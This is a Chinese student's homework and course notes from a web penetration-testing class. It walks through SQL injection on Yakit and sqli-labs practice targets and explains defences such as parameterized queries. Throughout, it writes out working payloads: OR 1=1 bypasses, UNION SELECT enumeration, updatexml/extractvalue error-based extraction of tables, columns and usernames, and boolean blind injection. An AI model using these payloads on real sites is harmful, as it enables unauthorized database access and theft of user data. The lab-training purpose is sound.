|
WEB渗透测试工程师系统班250303期 第14节课作业 1. 实际操作课堂讲解的yakit sql注入靶场,截图 第五关:ID为数字型的简单边界SQL报错检测 payload:【1 OR 1=1】打入,并用URL编码 有数据
边界值测试,检测id=0,看有无数据 没有数据,不存在漏洞
检测id=2147483648,看有无数据 无数据,不存在int类型最大值溢出漏洞
第六关:Cookie-ID SQL注入 ID换成2以及其他数字发现仍有数据
payload:【1 OR 1=1】打入
第七关:字符串为注入点的 SQL注入 payload:【’ OR 1=1 --】打入 有数据,存在漏洞
第八关:字符串注入点模糊查询 payload:【‘ OR ‘1’=’1’ --】打入 由于1=1恒为真,所以获取了所有用户的数据
2. 实际操作sqli靶场1-6关,要求获取到数据库名,截图 第一关:字符型
第一步:判断SQL是否拼接 http://www.sqli.com/Less-1/?id=1%27 显示语法错误,证明SQL拼接
第二步:进一步判断参数类型(字符型/数字型) http://www.sqli.com/Less-1/?id=1'--+ 没有报错,证明是字符型
第三步:确定表格有多少列 http://www.sqli.com/Less-1/?id=1' order by 4--+ 经过测试,表格有3列
第四步:确定回显点 http://www.sqli.com/Less-1/?id=-1' union select 1,2,3--+ 回显点为2和3
第五步:爆库名,版本等信息 http://www.sqli.com/Less-1/?id=-1' union select 1,database(),version()--+ 库名:security 版本:5.7.26
第二关:数字型
第一步:按照提示输入id=1 http://www.sqli.com/Less-2/?id=1
第二步:判断类型(数字/字符) http://www.sqli.com/Less-2/?id=1'--+ ‘--+报语法错误说明不是字符型
http://www.sqli.com/Less-2/?id=1--+ 去掉单引号没有报错确定是数字型
第三步:order by确定列数为3【?id=1 order by 3--+】 union select确定回显点是2和3【?id=-1 union select 1,2,3--+】 爆出库名【?id=-1 union select 1,database(),version()--+】
第三关:特殊闭合
第一步:判断闭合 用?id=1X and 1=2--+判断是否闭合,X为闭合,由于1=2为恒假,页面无数据表示闭合,最终尝试出,闭合是’) 【?id=1') and 1=2--+】
第二步:同第一二关 【?id=-1') union select 1,database(),version()--+】
第四关:特殊闭合
第一步:同第三关,用?id=1X and 1=2--+判断是否闭合,X为闭合,由于1=2为恒假,页面无数据表示闭合,最终尝试出,闭合是”) 【?id=1") and 1=2--+】
第二步:同上 【?id=-1") union select 1, database(),version()--+】
第五关:报错注入
第一步:判断闭合,发现各种闭合都尝试不成功,决定用报错注入 单引号报错 【?id=1’】
‘--+显示you are in 【?id=1’ --+】
可以用单引号,然后进行报错注入 【?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+】
第六关:布尔盲注
第一步:尝试各种闭合 发现页面只有两种情况,不会报错,即页面只有true和flase两种情况
第二步:决定使用布尔盲注 首先用length()函数判断数据库长度,用>=<号判断,最终测出长度是8 【?id=1" and length(database()) > 7 --+】
第三步:用ASCII码确定数据库字符 ?id=1" and ascii(substr(database(),1,1)) > 114 --+ ?id=1" and ascii(substr(database(),1,1)) > 115 --+ 确定出第一位ASCII码是115,对应的字符是s 以此类推,得出数据库名是security
一、笔记标题:WEB渗透系统班-边界值测试&报错注入+字符串&模糊注入
二、文章内容:
1. 课程内容概要
主要知识点1:sql靶场第五关【ID 为数字型的简单边界 SQL 报错检测】
边界 SQL 报错检测是一种测试方法,用于探测应用程序在处理数字型 ID 参数时是否存在 SQL 注入漏洞。在此测试中,我们会尝试构造一些特殊的输入,以观察应用程序的反应。
示例代码:# SELECT * FROM users WHERE id = {user_input}; 现在有一个查询,用于从数据库中获取用户信息,其中,{user_input}是应用程序接收的用户输入。
攻击示例:# 正常输入: 首先,我们使用正常的数字型输入来检查查询是否按预期工作: user_input = 123 SELECT * FROM users WHERE id = 123; 如果查询正常执行并返回预期结果,说明应用程序对于正常输入的处理是正确的。
边界值测试: 接下来,我们可以测试边界值,包括最小值、最大值和边界附近的值。例如: user_input = 0 # 最小值 SELECT * FROM users WHERE id = 0;
user_input = 2147483647 # INT类型最大值 SELECT * FROM users WHERE id = 2147483647;
user_input = 1 # 边界附近的值 SELECT * FROM users WHERE id = 1; 通过测试边界值,我们可以确保应用程序在处理边界输入时没有出现错误或异常情况。
非数字输入: 接下来,我们可以尝试输入非数字型数据,例如字符串或特殊字符,来观察应用程序的反应: user_input = "abc" SELECT * FROM users WHERE id = "abc"; 通以上测试来查看程序是否出现异常错误,从而判断是否存在 SQL 注入漏洞。
防御措施:# 防止 ID 为数字型的简单边界 SQL 注入,可以采取以下预防措施:
使用参数化查询: 使用参数化查询(Prepared Statements)来执行 SQL 语句,确保用户输入的 ID 不会直接拼接到 SQL 查询语句中。参数化查询会将输入和查询逻辑分离,有效地防止 SQL 注入攻击。 输入验证: 在接收用户输入的 ID 之前,进行输入验证,确保它是一个合法的数字。可以使用正则表达式或内置的类型转换函数进行验证。如果输入不是数字类型,应拒绝执行查询。 转义或过滤特殊字符: 对于 ID 参数,可以在执行查询之前,对其进行转义或过滤,以确保不会解释为 SQL 代码。对于数字类型的 ID,这一步通常是不必要的,因为数字不包含特殊字符。
主要知识点2:sql靶场第六关【Cookie-ID SQL 注入】
Cookie-ID SQL 注入是一种特定类型的 SQL 注入漏洞,它涉及到在处理包含在 Cookie 中的 ID 时,未对输入进行适当的验证和处理,从而导致攻击者能够注入恶意的 SQL 代码,执行非授权的数据库操作。
当应用程序使用 Cookie 来存储用户会话信息,并在后续的请求中使用 Cookie 中的 ID 来执行数据库查询时,如果对 Cookie 中的 ID 参数没有进行充分的验证和过滤,攻击者可以构造恶意的 Cookie,注入 SQL 代码,并在查询中执行恶意操作。
示例代码:# GET /user/cookie-id HTTP/1.1 Host: 127.0.0.1:8787 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: ID=1 #后端查询 select * from vulin_users where id = 1 此案例的注入点存在于 Cookie 中,后端查询利用 cookie 传输的值进行拼接查询。
攻击示例:# GET /user/cookie-id HTTP/1.1 Host: 127.0.0.1:8787 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cookie: ID=1 OR 1=1 #后端查询 select * from vulin_users where id = 1 OR 1=1 防御措施:# 为了防止 Cookie-ID SQL 注入,以下是一些建议的预防措施:
参数化查询: 无论从 Cookie 还是其他来源获取 ID 参数,都应使用参数化查询(Prepared Statements)来执行数据库查询。确保不直接将 Cookie 值拼接到 SQL 查询语句中,而是通过绑定参数的方式传递给数据库引擎。 验证和过滤 Cookie 数据: 在应用程序接收 Cookie 数据之前,进行验证和过滤,确保它是预期的格式和类型。例如,如果 ID 是一个整数,验证其是否为合法的整数值。 限制 Cookie 访问范围: 在设置 Cookie 时,将其限制在仅在必要的路径和域名下可见。避免在敏感操作之外的路径或域名下访问敏感的 Cookie 信息。 不要在 Cookie 中存储敏感信息: 尽量避免在 Cookie 中存储敏感信息,特别是与用户身份认证相关的敏感数据。可以将敏感信息存储在服务器端的会话中,而在 Cookie 中只存储会话标识符。 加密 Cookie 数据: 对于敏感的 Cookie 信息,可以进行加密处理,以增加攻击者解析 Cookie 的难度。
主要知识点3:sql靶场第七关【字符串为注入点的 SQL 注入】
字符串为注入点的 SQL 注入是一种常见的安全漏洞,它发生在应用程序在处理用户提供的字符串数据时,未正确验证、转义或过滤这些输入,导致攻击者可以通过恶意构造的字符串来执行非授权的数据库操作。
常见的字符串为注入点的 SQL 注入攻击是通过在输入的字符串中插入 SQL 语句的特殊字符,使得这些特殊字符被误解为 SQL 代码的一部分,从而改变原始的 SQL 查询的含义。
示例代码:# #查询名为admin的用户 select * from vulin_users where username = 'admin'; 此案例中通过用户输入的用户名来执行查询。
攻击示例:# user_input1 = ' OR 1=1 -- user_input2 = ' OR '1'='1 攻击者可以通过恶意构造的用户名来尝试注入 SQL 代码,如果应用程序未进行适当的处理,最终的查询语句会变成:
/*user_input1构造语句*/ select * from vulin_users where username = '' OR 1=1 --'; /*user_input2构造语句*/ select * from vulin_users where username = '' OR '1'='1'; 这将使查询始终返回所有用户的数据,绕过了原本的身份验证过程。
预防措施:# 参数化查询: 使用参数化查询(Prepared Statements)来执行 SQL 语句。参数化查询会将用户输入与查询逻辑分开,有效地防止 SQL 注入攻击。 输入验证: 在接收字符串输入之前,进行输入验证,确保它是一个合法的格式和长度。例如,对于用户名,验证是否包含特殊字符或空格。 转义或过滤特殊字符: 在执行查询之前,对用户输入进行转义或过滤,确保不会被误解为 SQL 代码。在大多数编程语言和数据库引擎中,都有提供相关的转义函数,例如在 Python 中可以使用escape_string()来转义字符串。 白名单验证: 对于一些特定的输入字段,可以使用白名单验证,只接受预定义的合法输入,拒绝其他非法输入。 主要知识点4:sql靶场第八关【字符串注入点模糊查询】
在此案例中,使用了LIKE语句进行模糊查询,查询vulin_users表中username字段包含字母a的所有记录。然而,该 SQL 语句没有对用户输入进行任何过滤或转义,这就为注入攻击提供了机会。
示例代码:# /*查询名称为a的用户*/ select * from vulin_users where username LIKE '%a%'; 在该查询中,username字段进行了模糊查询,查找包含字母a的用户。
攻击示例:# 假设攻击者在输入中注入以下内容
a' OR '1'='1' --
/*更改后的sql语句变成如下*/ select * from vulin_users where username LIKE '%a' OR '1'='1' -- %'; /*等同于*/ select * from vulin_users where username LIKE '%a' OR '1'='1'; 在这个示例中,--表示 SQL 中的单行注释,它会导致数据库忽略后续的查询语句,从而绕过了原本的查询过滤条件,获取了所有用户的数据。
攻击者还可以执行其他恶意操作,比如删除数据、修改数据等,具体取决于应用程序的权限和数据库的配置。
防御措施:# 参数化查询: 使用参数化查询(Prepared Statements)来执行 SQL 语句。参数化查询会将用户输入与查询逻辑分开,有效地防止 SQL 注入攻击。
2.重点知识与细节(针对本节课的核心内容进行详细记录,包含公式、代码、重要原理等)
概念解析
概念1: 布尔盲注 一.布尔盲注原理: 布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false, 构造SQL语句, 利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false, 从而达到注入的目的来获取信息的一种方法
没有错误提示 也没有回显 但是输入错误的话页面会有反应 也就是说 只有 true 和false 例如 :sql-labs /less-7 它只有两种提示 所以可以用布尔盲注
playload:and length(database()) =8 --+ /判断数据库名长度 是否等于8,如果不等于,则返回错,等于的话就是开始页面
and ascll(substr(database(),1,1)) >100 /这里substr(char,number,numbr)
第一个参数是要截取的字符串 第二个参数是从那一位开始 第三个参数是截取几个 (我们要一位一位的判断所以此处恒为1)
二.判断语句: 1’ and length(database())>3# 1’ and length(database())=5 # 1’ and mid(database(),1,1)=‘d’ # 判断单个字符 1’ and substr(database(),1,1)=‘d’ # 判断单个字符 1’ and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符 1’ and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符 1’ and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符
三.基础语句: 一. 1.count()函数:统计查询结果的数量; 2.length(str)函数:返回字符串 str的长度; 3.left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0 left((select database()),1)=‘s’ 同样的意思 4.regexp : select user() regexp ‘r’; user()的结果是root@localhost,regexp为匹配root的正则表达式 5.like : select user() like ‘ro%’; 匹配与regexp相似 6.substr(a,b,c): select substr() xxxx; substr(a,b,c)从位置b开始,截取a字符串的c位长度 7.mid(a,b,c): select mid(user(),1,2); mid(a,b,c)从位置b开始,截取a字符串的c位长度 8.ascii() 将某个字符转化为其ascii值 9.limit 0,1:元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值 二. 对于security库: 1.select left(database(),1)=‘s’;前1位是否是s 2.select database() regexp ‘s’; 匹配第一个字符是否是s 3.select database() like ‘s%’; 匹配是否是以s开头 4.select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s 5.select substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec 6.select ascii(substr((select database()),1,1)); 直接回显115 或者是空: 7.select ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0
四.使用顺序: 1.求当前数据库长度 2.求当前数据库表的ASCII 3.求当前数据库中表的个数 4.求当前数据库中其中一个表名的长度 5.求当前数据库中其中一个表名的ASCII 6.求列名的数量 7.求列名的长度 8.求列名的ASCII 9.求字段的数量 10.求字段内容的长度 11.求字段内容对应的ASCII 概念2: 报错注入 原理:程序员会将数据库的错误信息,打印在前端,攻击者利⽤这些错误信息进⾏认为的制造错误条件,使得查询结果能能够出现在错误信息中。 【updatexml】 updatexml(参数1,参数2,参数3) updatexml(需要替换的值,替换的⽂件在哪⾥,要替换成什么) concat()字符串拼接 原理:参数2(需要替换的⽂件)存在特殊符号就会报错,通过concat()函数配合⼦查询即可在参数位置输⼊SQL语句进⾏注⼊ SELECT updatexml(1,'',1) #错误信息:XPATH syntax error: '' select updatexml(1,concat('!',(select database())),1); #错误信息:XPATH syntax error: '!security' #通过字符拼接后即可得到所需要的信息 示例:sqli靶场第⼀关
查询数据库名 ?id=1' and updatexml(1,concat('~',(select database()),'~'),3) %23 查询数据表名 ?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
查询数据表内的列名
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~'),3) %23
查询具体数据
?id=1' and updatexml(1,concat('~',(select group_concat(username) from users),'~'),3) %23
数据过多可以使⽤limit
?id=1' and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23
【Extractvalue】
extractvalue() :对XML⽂档进⾏查询的函数
语法:extractvalue(⽬标xml⽂档,xml路径)
第⼆个参数 xml中的位置是可操作的地⽅,xml⽂档中查找字符位置是⽤ /xxx/xxx/xxx/…这种格式,如果我们写⼊
其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容就是我们想要查询的内容。
正常查询 第⼆个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
示例:sqli靶场第⼀关
查询数据库名
?id=1' and (extractvalue(1,concat('~',(select database()),'~'))) %23
查询数据表名
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) %23
查询数据表内的列名
?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) %23
查询数据表内的数据
?id=1' and extractvalue(1,concat('~',(select username from users limit 0,1),'~')) %23
【floor】
用于报错注入命令的一种
关键步骤【sql靶场1-6】
步骤1:试闭合
步骤2:根据页面反馈情况测试漏洞
相关代码 如作业展示
3.实操练习 和 解析(记录自己实操练习时的思路、解法,以及自己遇到的困难)
sql靶场(1-6)先测试闭合,可以闭合接着用order by判断有几列,用union select确定回显点,然后爆库名,测不出闭合再尝试报错注入,布尔盲注等方法
4.个人总结
本节课最大的收获是:进一步学习了yakit靶场里的注入方式,以及sqli靶场的几种注入方式
仍然存在疑问的地方:暂无
需要课后深入学习的内容:yakit和sqli的剩余靶场
|